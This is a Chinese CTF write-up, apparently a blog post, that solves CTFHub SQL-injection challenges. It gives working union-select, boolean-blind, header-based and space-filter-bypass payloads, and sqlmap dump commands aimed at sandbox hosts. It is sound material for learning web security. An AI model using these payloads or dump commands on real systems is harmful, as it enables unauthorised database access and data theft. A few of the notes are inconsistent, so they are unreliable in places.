CTFHUB-WEB-SQL注入

sql学的太不好了,回炉重造

判断 Sql 注入漏洞的类型

1.数字型

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

2.字符型

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

  1.Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
  2.Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

 order by判断列数

SQL的Order By语句的详细介绍-51CTO.COM

ORDER BY语句是SQL中非常重要的一个关键字,它可以让我们对查询结果进行排序,让结果更有意义和可读性。我们可以使用列名、列位置和表达式来指定排序的依据,并且可以按照升序或降序进行排序。同时,我们也可以指定多个排序依据,以及按照不同的优先级进行排序。

sql语句闭合

https://www.cnblogs.com/cainiao-chuanqi/p/13543280.html 

重要函数

group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。


information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

ctfhub

整数型注入

 题目已经说了是整数型注入:

 ?id=1 and 1=1,有回显

 ?id=1 and 1=2,无回显,说明有注入点,判断列数

 ?id=-1 union select 3,database(),查当前数据库

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli" ,查表

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag' 查列

?id=-1 union select 1,group_concat(flag) from sqli.flag,查字段内容

字符型注入:当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

字符型注入

手注

判断注入类型

 ?id=1'and '1'='1

?id=1'and '1'='2

判断列数

 两列

判断回显位-1' union select 1,2#

-1' union select 1,database()# 

查列名

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

 查字段内容-1' union select 1,(select flag from flag)#

sqlmap注入

查库

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" --dbs -batch

查表

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli --tables

查字段

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag --columns 

查字段内容

sqlmap -u "http://challenge-ffb571fa92ddc58a.sandbox.ctfhub.com:10800/?id=" -D sqli -T flag -C flag --dump

布尔盲注

布尔类型(Boolean type)

布尔类型只有两个值,True 和 False。通常用来判断条件是否成立。计算机里的一种数据类型,一般用于逻辑运算和比较运算。

盲注

盲注是指在SQL注入过程中,SQL语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

    web页面返回True 或者 false,构造SQL语句,利用and,or,not等关键字

手注  

判断当前数据库名的长度

1 and length(database())=4 

匹配数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表 

1 and ascii(substr(database(),1,1))=115
1 and ascii(substr(database(),2,1))=113
...
#数据库是security,这里直接给了true值

1 and (select count(table_name) from information_schema.tables where table_schema="sqli")=2
#sqli下共是4个表,直接给了true值 

匹配表名的ASCII码: 

 1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),1,1))=102
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="sqli" limit 0,1),2,1))=108
...
#sqli第一个表名是flag,直接给了true值

判断字段(列)数: 

1 and (select count(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag")=1
#flag下有1个字段,直接给了true值 

sqlmap注入

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" --dbs

爆库

爆的很慢

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=" -D sqli --tables 

爆表

sqlmap -u "http://challenge-cf644ed065cdf2b6.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段

爆字段内容,得到flag,跑的太慢了

时间盲注

手注的话基本没方法,都是用脚本或者sqlmap还有bp

cthub——时间盲注_ctfhub时间盲注_陈艺秋的博客-CSDN博客

直接就是sqlmap

爆库

qlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -dbs 

爆表

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

爆字段

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

爆字段内容,得到flag

sqlmap -u "http://challenge-906275b443b4d29f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump 

 

MySQL结构

还是sqlmap

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" --dbs 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 

 sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol --columns 

sqlmap -u "http://challenge-2c5d583ef1948dfb.sandbox.ctfhub.com:10800/?id=1" -D sqli -T xmujvhnaol -C uzufsfbkmh --dump 

 

Cookie注入 

sqlmap

爆表

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 --dbs 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli --tables 

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab --columns

sqlmap -u "http://challenge-0f62f6a78be96bdf.sandbox.ctfhub.com:10800/" --cookie "id=1" --level=2 -D sqli -T nstjjcciab -C modgbjjxvs --dump

UA注入

 CTFHub - UA注入-CSDN博客

有三种方式,一种是bp抓包注入,一种是sqlmap,一种是跑脚本

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 --dbs

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli --tables

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau --columns 

sqlmap -u "http://challenge-bee10d452749b19f.sandbox.ctfhub.com:10800/"  --level=3 -D sqli -T nirrlnzyau -C ifvkcqvwxo --dump

 Refer注入

CTFHub - Refer注入_ctfhubrefer注入_CS_Nevvbie的博客-CSDN博客

Referer: 0 union select 1,database()

Referer: 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 Referer: 0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='efdlqtawmh'

 Referer: 0 union select 1,group_concat(onnawcxyvb) from sqli.efdlqtawmh

空格过滤

常用绕过空格过滤的方法:

/**/、()、%0a

?id=1/**/and/**/1=1

 ?id=1/**/and/**/1=2,报错了,确定是数字型注入

看回显位

查列数

 发现到3没有回显了,一共两列

开始注入,

查库:?id=-1/**/union/**/select/**/1,database()

得到库名:sqli

?id=-1/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'  查表

查字段:?id=-1/**/union/**/select/**/group_concat(column_name),2/**/from/**/information_schema.columns/**/where/**/table_name='lyispybtyt'

查字段内容, 得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值